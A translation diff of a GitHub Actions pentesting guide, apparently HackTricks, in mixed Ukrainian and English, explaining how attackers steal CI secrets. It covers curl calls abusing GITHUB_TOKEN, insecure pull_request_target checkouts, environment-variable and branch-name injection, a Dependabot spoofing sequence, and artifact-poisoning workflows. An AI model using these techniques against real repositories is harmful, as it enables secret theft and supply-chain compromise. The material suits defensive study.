Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -4,55 +4,55 @@
 
 ## Інструменти
 
-Наступні інструменти корисні для знаходження робочих процесів Github Action і навіть для виявлення вразливих:
+The following tools are useful to find Github Action workflows and even find vulnerable ones:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Перевірте також його контрольний список на [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
-## Основна інформація
+## Базова інформація
 
 На цій сторінці ви знайдете:
 
-- **резюме всіх впливів** зловмисника, який зміг отримати доступ до Github Action
-- Різні способи **отримати доступ до дії**:
-- Маючи **дозволи** на створення дії
-- Зловживання **тригерами, пов'язаними з pull request**
-- Зловживання **іншими зовнішніми техніками доступу**
-- **Півотування** з уже скомпрометованого репозиторію
-- Нарешті, розділ про **техніки пост-експлуатації для зловживання дією зсередини** (викликані згаданими впливами)
+- Короткий огляд усіх наслідків, якщо зловмисник отримає доступ до Github Action
+- Різні способи **отримати доступ до action**:
+- Наявність **permissions** для створення action
+- Зловживання тригерами, пов'язаними з **pull request**
+- Зловживання іншими зовнішніми методами доступу
+- **Pivoting** з уже скомпрометованого repo
+- Нарешті, розділ про **post-exploitation techniques** для зловживання action зсередини (що викликають зазначені наслідки)
 
-## Резюме впливів
+## Резюме наслідків
 
-Для введення про [**Github Actions перевірте основну інформацію**](../basic-github-information.md#github-actions).
+For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
 
-Якщо ви можете **виконувати довільний код у GitHub Actions** в межах **репозиторію**, ви можете:
+Якщо ви можете **execute arbitrary code in GitHub Actions** в межах **repository**, ви зможете:
 
-- **Викрасти секрети**, змонтовані в конвеєрі, і **зловживати привілеями конвеєра** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS і GCP.
-- **Скомпрометувати розгортання** та інші **артефакти**.
-- Якщо конвеєр розгортає або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє здійснити атаку на ланцюг постачання.
-- **Виконувати код у кастомних робітниках** для зловживання обчислювальною потужністю та півотування до інших систем.
-- **Перезаписати код репозиторію**, залежно від дозволів, пов'язаних з `GITHUB_TOKEN`.
+- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
+- **Compromise deployments** and other **artifacts**.
+- Якщо pipeline deploys або stores assets, ви можете змінити кінцевий продукт, що дає змогу виконати supply chain attack.
+- **Execute code in custom workers** для зловживання обчислювальною потужністю та pivot до інших систем.
+- **Overwrite repository code**, в залежності від permissions, пов'язаних з `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
-Цей "**секрет**" (який походить з `${{ secrets.GITHUB_TOKEN }}` і `${{ github.token }}`) надається, коли адміністратор активує цю опцію:
+This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Цей токен є тим самим, що і **Github Application буде використовувати**, тому він може отримати доступ до тих самих кінцевих точок: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github повинен випустити [**потік**](https://github.com/github/roadmap/issues/74), який **дозволяє крос-репозиторний** доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи `GITHUB_TOKEN`.
+> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
 
-Ви можете побачити можливі **дозволи** цього токена на: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Зверніть увагу, що токен **закінчує термін дії після завершення роботи**.\
-Ці токени виглядають так: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Note that the token **expires after the job has completed**.\
+These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-Деякі цікаві речі, які ви можете зробити з цим токеном:
+Some interesting things you can do with this token:
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
 -d "{\"commit_title\":\"commit_title\"}"
 ```
 {{#endtab }}
-{{#tab name="Схвалити PR" }}
+{{#tab name="Approve PR" }}
 ```bash
 # Approve a PR
 curl -X POST \
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
 -d '{"event":"APPROVE"}'
 ```
 {{#endtab }}
-{{#tab name="Створити PR" }}
+{{#tab name="Create PR" }}
 ```bash
 # Create a PR
 curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Зверніть увагу, що в кількох випадках ви зможете знайти **токени користувачів github всередині середовищ Github Actions або в секретах**. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.
+> Зверніть увагу, що в кількох випадках ви зможете знайти **github user tokens inside Github Actions envs or in the secrets**. Ці токени можуть надати вам додаткові привілеї у repository та organization.
 
 <details>
 
-<summary>Список секретів у виході Github Action</summary>
+<summary>Перелік secrets у виводі Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Отримати зворотний шелл з секретами</summary>
+<summary>Отримати reverse shell з secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Можна перевірити дозволи, надані Github Token в репозиторіях інших користувачів, **перевіряючи журнали** дій:
+Можна перевірити дозволи, надані Github Token в репозиторіях інших користувачів, **checking the logs** of the actions:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## Дозволене виконання
+## Allowed Execution
 
 > [!NOTE]
-> Це був би найпростіший спосіб скомпрометувати Github дії, оскільки цей випадок передбачає, що у вас є доступ до **створення нового репозиторію в організації** або є **права на запис у репозиторій**.
+> Це був би найпростіший спосіб скомпрометувати Github actions, оскільки в цьому випадку передбачається, що ви маєте доступ до **create a new repo in the organization**, або маєте **write privileges over a repository**.
 >
-> Якщо ви в цій ситуації, ви можете просто перевірити [техніки постексплуатації](#post-exploitation-techniques-from-inside-an-action).
+> Якщо ви в цій ситуації, ви можете просто переглянути [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Виконання з створення репозиторію
+### Execution from Repo Creation
 
-У випадку, якщо члени організації можуть **створювати нові репозиторії** і ви можете виконувати github дії, ви можете **створити новий репозиторій і вкрасти секрети, встановлені на рівні організації**.
+У випадку, якщо учасники organization можуть **create new repos** і ви можете виконувати github actions, ви можете **create a new repo and steal the secrets set at organization level**.
 
-### Виконання з нової гілки
+### Execution from a New Branch
 
-Якщо ви можете **створити нову гілку в репозиторії, який вже містить налаштовану Github Action**, ви можете **модифікувати** її, **завантажити** вміст, а потім **виконати цю дію з нової гілки**. Таким чином, ви можете **екстрагувати секрети на рівні репозиторію та організації** (але вам потрібно знати, як вони називаються).
+Якщо ви можете **create a new branch in a repository that already contains a Github Action** configured, ви можете **modify** його, **upload** контент, а потім **execute that action from the new branch**. Таким чином ви можете **exfiltrate repository and organization level secrets** (але вам потрібно знати, як вони називаються).
 
-Ви можете зробити модифіковану дію виконуваною **вручну,** коли **створюється PR** або коли **якийсь код завантажується** (залежно від того, наскільки помітними ви хочете бути):
+> [!WARNING]
+> Будь-яке обмеження, реалізоване лише всередині workflow YAML (наприклад, `on: push: branches: [main]`, job conditionals, або ручні валіди), може бути відредаговане співавторами. Без зовнішнього примусового застосування (branch protections, protected environments, and protected tags), учасник може перенаправити workflow на свій branch і зловживати змонтованими secrets/permissions.
+
+Ви можете зробити змінений action виконуваним **вручну,** коли створено **PR** або коли **якийсь код запушено** (в залежності від того, наскільки багато шуму ви хочете зробити):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
 ```
 ---
 
-## Forked Execution
+## Виконання з форку
 
 > [!NOTE]
-> Є різні тригери, які можуть дозволити зловмиснику **виконати Github Action з іншого репозиторію**. Якщо ці тригери налаштовані неналежним чином, зловмисник може зуміти їх скомпрометувати.
+> Існують різні тригери, які можуть дозволити атакуючому **виконати Github Action з іншого репозиторію**. Якщо такі тригерувані дії налаштовані неналежним чином, атакуючий може їх скомпрометувати.
 
 ### `pull_request`
 
-Тригер робочого процесу **`pull_request`** буде виконувати робочий процес щоразу, коли надходить запит на злиття з деякими винятками: за замовчуванням, якщо це **перший раз**, коли ви **співпрацюєте**, деякий **керівник** повинен **схвалити** **виконання** робочого процесу:
+Тригер workflow **`pull_request`** виконуватиме workflow щоразу, коли надходить pull request, з деякими винятками: за замовчуванням, якщо це **вперше**, коли ви **співпрацюєте**, якийсь **maintainer** повинен **підтвердити** **запуск** workflow:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Оскільки **за замовчуванням обмеження** стосується **нових** учасників, ви можете внести **виправлення дійсної помилки/друкарської помилки** і потім надіслати **інші PR, щоб зловживати вашими новими привілеями `pull_request`**.
+> Оскільки **обмеження за замовчуванням** стосуються **перших** контрибуторів, ви можете зробити внесок, **виправивши дійсну помилку/описку**, а потім надіслати **інші PR, щоб зловживати новими привілеями `pull_request`**.
 >
-> **Я це протестував, і це не працює**: ~~Інший варіант - створити обліковий запис з ім'ям когось, хто вніс внесок у проект і видалив свій обліковий запис.~~
+> **Я це протестував і це не працює**: ~~Іншим варіантом було б створити акаунт з ім'ям когось, хто робив внесок у проєкт, а потім видалив його акаунт.~~
 
-Більше того, за замовчуванням **запобігає запису прав** і **доступу до секретів** цільового репозиторію, як зазначено в [**документації**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Крім того, за замовчуванням **запобігає наданню прав на запис** та **доступу до secrets** у цільовому репозиторії, як зазначено в [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> За винятком `GITHUB_TOKEN`, **секрети не передаються виконавцю** під час тригера робочого процесу з **форкнутого** репозиторію. **`GITHUB_TOKEN` має права лише на читання** у запитах на злиття **з форкнутого репозиторію**.
+> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-Зловмисник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні дії. Однак він не зможе вкрасти секрети або перезаписати репозиторій через зазначені обмеження.
+Атакуючий може змінити визначення Github Action, щоб виконати довільні дії та додати довільні steps. Проте він не зможе вкрасти secrets або перезаписати репо через згадані обмеження.
 
 > [!CAUTION]
-> **Так, якщо зловмисник змінить у PR github action, який буде тригером, його Github Action буде використано, а не той, що з оригінального репозиторію!**
+> **Так, якщо атакуючий змінить у PR github action, який буде тригеритись, його Github Action буде використано, а не той, що з origin repo!**
 
-Оскільки зловмисник також контролює код, що виконується, навіть якщо немає секретів або прав на запис у `GITHUB_TOKEN`, зловмисник може, наприклад, **завантажити шкідливі артефакти**.
+Оскільки атакуючий також контролює код, що виконується, навіть якщо немає доступу до secrets або прав запису через `GITHUB_TOKEN`, атакуючий, наприклад, може **завантажити шкідливі артефакти**.
 
 ### **`pull_request_target`**
 
-Тригер робочого процесу **`pull_request_target`** має **права на запис** до цільового репозиторію та **доступ до секретів** (і не запитує дозволу).
+Тригер workflow **`pull_request_target`** має **права на запис** у цільовому репозиторії та **доступ до secrets** (і не запитує дозволу).
 
-Зверніть увагу, що тригер робочого процесу **`pull_request_target`** **виконується в базовому контексті** і не в тому, що надається PR (щоб **не виконувати ненадійний код**). Для отримання додаткової інформації про `pull_request_target` [**перевірте документацію**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Більше того, для отримання додаткової інформації про це конкретне небезпечне використання перевірте цей [**пост у блозі github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Зауважте, що тригер workflow **`pull_request_target`** **запускається в базовому контексті** і не в тому, що надається PR (щоб **не виконувати недовірений код**). Для отримання додаткової інформації про `pull_request_target` [**перегляньте docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Крім того, для додаткової інформації про цей конкретно небезпечний випадок перегляньте цей [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Може здатися, що оскільки **виконуваний робочий процес** є тим, що визначено в **базі**, а **не в PR**, це **безпечно** використовувати **`pull_request_target`**, але є **кілька випадків, коли це не так**.
+Може здатись, що оскільки **виконуваний workflow** — це той, що визначений у **base**, а **не в PR**, то використання **`pull_request_target`** є **безпечним**, але існує **декілька випадків, коли це не так**.
 
-І цей тригер матиме **доступ до секретів**.
+І цей тригер матиме **доступ до secrets**.
 
 ### `workflow_run`
 
-Тригер [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) дозволяє запустити робочий процес з іншого, коли він `завершено`, `запитано` або `в процесі`.
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
 
-У цьому прикладі робочий процес налаштовано на виконання після завершення окремого "Запустити тести" робочого процесу:
+In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
 ```yaml
 on:
 workflow_run:
@@ -227,31 +230,31 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Більше того, відповідно до документації: Робочий процес, розпочатий подією `workflow_run`, може **доступати до секретів і записувати токени, навіть якщо попередній робочий процес не був**.
+Крім того, згідно з документацією: workflow, запущений подією `workflow_run`, може **access secrets and write tokens, even if the previous workflow was not**.
 
-Такий робочий процес може бути атакований, якщо він **залежить** від **робочого процесу**, який може бути **запущений** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Кілька вразливих прикладів можна [**знайти в цьому блозі**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший з них полягає в тому, що **`workflow_run`** запущений робочий процес завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\
-Другий полягає в **передачі** артефакту з **недовіреного** коду до робочого процесу **`workflow_run`** та використанні вмісту цього артефакту таким чином, що він стає **вразливим до RCE**.
+Такий workflow можна атакувати, якщо він **залежить** від іншого **workflow**, який може бути **triggered** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Декілька вразливих прикладів можна [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший полягає в тому, що workflow, який тригериться через **`workflow_run`**, завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\
+Другий полягає в **передачі** **artifact** з **untrusted** коду до workflow **`workflow_run`** і використанні вмісту цього artifact таким чином, що це робить його **vulnerable to RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Перевірити, чи при виконанні з `pull_request` використовується/завантажується код з оригіналу чи з форкнутого PR
+TODO: Перевірити, чи коли виконується з `pull_request` використовуваний/завантажений код — з origin чи з forked PR
 
-## Зловживання виконанням з форку
+## Зловживання виконанням fork'ів
 
-Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес github виконатися, тепер давайте розглянемо, як ці виконання, якщо погано налаштовані, можуть бути зловживані:
+Ми перелічили всі способи, якими зовнішній атакуючий може змусити виконатися github workflow; тепер подивімося, як ці виконання, якщо вони неправильно налаштовані, можуть бути зловживані:
 
-### Виконання недовіреного чекауту
+### Виконання untrusted checkout
 
-У випадку **`pull_request`** робочий процес буде виконуватися в **контексті PR** (тому він виконає **код шкідливого PR**), але хтось повинен **спочатку його авторизувати**, і він буде виконуватися з деякими [обмеженнями](#pull_request).
+У випадку **`pull_request`**, workflow виконуватиметься в **контексті PR** (тому він виконає **malicious PRs code**), але хтось повинен **authorize it first** і воно виконуватиметься з певними [limitations](#pull_request).
 
-У випадку робочого процесу, що використовує **`pull_request_target` або `workflow_run`**, який залежить від робочого процесу, що може бути запущений з **`pull_request_target` або `pull_request`**, код з оригінального репозиторію буде виконано, тому **атакуючий не може контролювати виконуваний код**.
+У випадку workflow, що використовує **`pull_request_target` or `workflow_run`**, який залежить від workflow, який може бути triggered з **`pull_request_target` or `pull_request`**, виконуватиметься код з оригінального repo, тож **attacker cannot control the executed code**.
 
 > [!CAUTION]
-> Однак, якщо **дія** має **явний чекаут PR**, який **отримає код з PR** (а не з бази), вона буде використовувати код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR):
+> Однак, якщо **action** має **explicit PR checkou**t, який **get the code from the PR** (а не з base), буде використано код, контрольований атакуючим. Наприклад (див. line 12, де завантажується код PR):
 
-<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Наведено лише як приклад.
+<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
 pull_request_target
 
@@ -276,35 +279,35 @@ arg1: ${{ secrets.supersecret }}
 - uses: fakerepo/comment-on-pr@v1
 with:
 message: |
-Дякую!
+Thank you!
 </code></pre>
 
-Потенційно **недовірений код виконується під час `npm install` або `npm build`**, оскільки скрипти збірки та згадані **пакети контролюються автором PR**.
+Потенційно **untrusted code is being run during `npm install` or `npm build`**, оскільки build scripts та згадані **packages are controlled by the author of the PR**.
 
 > [!WARNING]
-> Github dork для пошуку вразливих дій: `event.pull_request pull_request_target extension:yml`, однак існують різні способи налаштування завдань для безпечного виконання, навіть якщо дія налаштована ненадійно (наприклад, використовуючи умовні оператори про те, хто є актором, що генерує PR).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` проте існують різні способи налаштувати jobs для безпечного виконання навіть якщо action налаштований небезпечно (наприклад використовуючи conditionals про те, хто є actor, що створює PR).
 
-### Впровадження скриптів у контексті <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Зверніть увагу, що є певні [**контексти github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), значення яких **контролюються** **користувачем**, що створює PR. Якщо github action використовує ці **дані для виконання чогось**, це може призвести до **виконання довільного коду:**
+Зауважте, що існують певні [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) значення яких **контролюються** користувачем, який створює PR. Якщо github action використовує ці **data to execute anything**, це може призвести до **arbitrary code execution:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **Впровадження скриптів GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-З документації: Ви можете зробити **змінну середовища доступною для будь-яких наступних кроків** у завданні робочого процесу, визначивши або оновивши змінну середовища та записавши це у файл середовища **`GITHUB_ENV`**.
+Згідно з документацією: Ви можете зробити **environment variable available to any subsequent steps** в job'і workflow, визначивши або оновивши змінну оточення та записавши це у файл середовища **`GITHUB_ENV`**.
 
-Якщо атакуючий може **впровадити будь-яке значення** в цю **змінну** середовища, він може впровадити змінні середовища, які можуть виконати код у наступних кроках, таких як **LD_PRELOAD** або **NODE_OPTIONS**.
+Якщо атакуючий може **inject any value** в цю **env** змінну, він може ввести змінні оточення, які можуть виконувати код у наступних кроках, наприклад **LD_PRELOAD** або **NODE_OPTIONS**.
 
-Наприклад ([**це**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) і [**це**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту в змінній середовища **`GITHUB_ENV`**. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його:
+Наприклад ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть workflow, який довіряє завантаженому artifact і зберігає його вміст у змінній оточення **`GITHUB_ENV`**. Атакуючий може завантажити щось подібне, щоб скомпрометувати його:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Dependabot та інші довірені боти
 
-Як зазначено в [**цьому блозі**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), кілька організацій мають Github Action, яка об'єднує будь-який PRR від `dependabot[bot]`, як у:
+Як вказано в [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), кілька організацій мають Github Action, який merges any PRR від `dependabot[bot]`, наприклад:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Яка є проблема, оскільки поле `github.actor` містить користувача, який викликав останню подію, що активувала робочий процес. Існує кілька способів змусити користувача `dependabot[bot]` змінити PR. Наприклад:
+Це проблема, тому що поле `github.actor` містить користувача, який спричинив останню подію, що запустила workflow. Існує кілька способів змусити користувача `dependabot[bot]` змінити PR. Наприклад:
 
-- Форкнути репозиторій жертви
-- Додати шкідливий код до вашої копії
-- Увімкнути Dependabot у вашому форку, додавши застарілу залежність. Dependabot створить гілку, що виправляє залежність зі шкідливим кодом.
-- Відкрити Pull Request до репозиторію жертви з цієї гілки (PR буде створено користувачем, тому нічого ще не станеться)
-- Потім зловмисник повертається до початкового PR, який Dependabot відкрив у його форку, і виконує `@dependabot recreate`
-- Потім Dependabot виконує деякі дії в цій гілці, які змінюють PR у репозиторії жертви, що робить `dependabot[bot]` виконавцем останньої події, що активувала робочий процес (і, отже, робочий процес запускається).
+- Fork the victim repository
+- Add the malicious payload to your copy
+- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
+- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
+- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
+- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
 
-Продовжуючи, що якби замість злиття Github Action мала б ін'єкцію команд, як у:
+Далі: що якби замість злиття Github Action мав command injection, як у:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Добре, оригінальний блогпост пропонує два варіанти зловживання цією поведінкою, другий з яких:
+Отже, оригінальний допис у блозі пропонує два варіанти зловживання цією поведінкою, другим з яких є:
 
-- Зробіть форк репозиторію жертви та увімкніть Dependabot з деякою застарілою залежністю.
-- Створіть нову гілку з кодом шкідливого shell-ін'єкції.
-- Змініть основну гілку репозиторію на цю.
-- Створіть PR з цієї гілки до репозиторію жертви.
-- Запустіть `@dependabot merge` у PR, який Dependabot відкрив у його форку.
-- Dependabot об'єднає свої зміни в основну гілку вашого форкнутого репозиторію, оновлюючи PR у репозиторії жертви, роблячи тепер `dependabot[bot]` актором останньої події, яка викликала робочий процес, і використовуючи шкідливу назву гілки.
+- Форкнути репозиторій жертви та увімкнути Dependabot з якоюсь застарілою залежністю.
+- Створити нову гілку з шкідливим shell injection кодом.
+- Змінити default branch репо на ту гілку.
+- Створити PR з цієї гілки до репозиторію жертви.
+- Запустити `@dependabot merge` у PR, який Dependabot відкрив у своєму форку.
+- Dependabot змерджить свої зміни в default branch вашого форку, оновивши PR у репозиторії жертви, зробивши тепер `dependabot[bot]` актором останньої події, яка викликала workflow, та використовуючи шкідливу назву гілки.
 
-### Вразливі сторонні Github Actions
+### Vulnerable Third Party Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Як згадувалося в [**цьому блогпості**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), цей Github Action дозволяє отримувати артефакти з різних робочих процесів і навіть репозиторіїв.
+Як зазначено в [**цьому дописі**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), цей Github Action дозволяє отримувати доступ до artifacts з різних workflow і навіть з інших репозиторіїв.
 
-Проблема в тому, що якщо параметр **`path`** не встановлений, артефакт витягується в поточний каталог і може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, зловмисник може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту.
+Проблема в тому, що якщо параметр **`path`** не заданий, артефакт розпаковується в поточну директорію і може перезаписати файли, які пізніше можуть бути використані або навіть виконані у workflow. Тому, якщо Artifact вразливий, нападник може зловживати цим, щоб скомпрометувати інші workflow, які довіряються цьому Artifact.
 
-Приклад вразливого робочого процесу:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -373,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Це може бути атаковано за допомогою цього робочого процесу:
+Це можна атакувати за допомогою цього workflow:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -392,33 +395,33 @@ path: ./script.py
 
 ## Інший зовнішній доступ
 
-### Викрадення видаленого простору імен репозиторію
+### Deleted Namespace Repo Hijacking
 
-Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав **менше 100 зірок до зміни імені**, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити **репозиторій з таким же ім'ям**, як і той, що був видалений.
+If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
 
 > [!CAUTION]
-> Тому, якщо дія використовує репозиторій з неіснуючого облікового запису, все ще можливо, що зловмисник може створити цей обліковий запис і скомпрометувати дію.
+> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
 
-Якщо інші репозиторії використовували **залежності з репозиторіїв цього користувача**, зловмисник зможе їх викрасти. Ось більш детальне пояснення: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## Пивотинг репозиторію
+## Repo Pivoting
 
 > [!NOTE]
-> У цьому розділі ми поговоримо про техніки, які дозволять **пивотити з одного репозиторію в інший**, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ).
+> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
 
-### Отруєння кешу
+### Cache Poisoning
 
-Кеш підтримується між **виконаннями робочого процесу в одному гілці**. Це означає, що якщо зловмисник **скомпрометує** **пакет**, який потім зберігається в кеші і **завантажується** та виконується більш **привілейованим** робочим процесом, він зможе також **скомпрометувати** цей робочий процес.
+A cache is maintained between **workflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### Отруєння артефактів
+### Artifact Poisoning
 
-Робочі процеси можуть використовувати **артефакти з інших робочих процесів і навіть репозиторіїв**, якщо зловмисник зможе **скомпрометувати** Github Action, яка **завантажує артефакт**, що пізніше використовується іншим робочим процесом, він може **скомпрометувати інші робочі процеси**:
+Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Постексплуатація з дії
+## Post Exploitation from an Action
 
-### Доступ до AWS та GCP через OIDC
+### Github Action Policies Bypass
 
-Перевірте наступні сторінки:
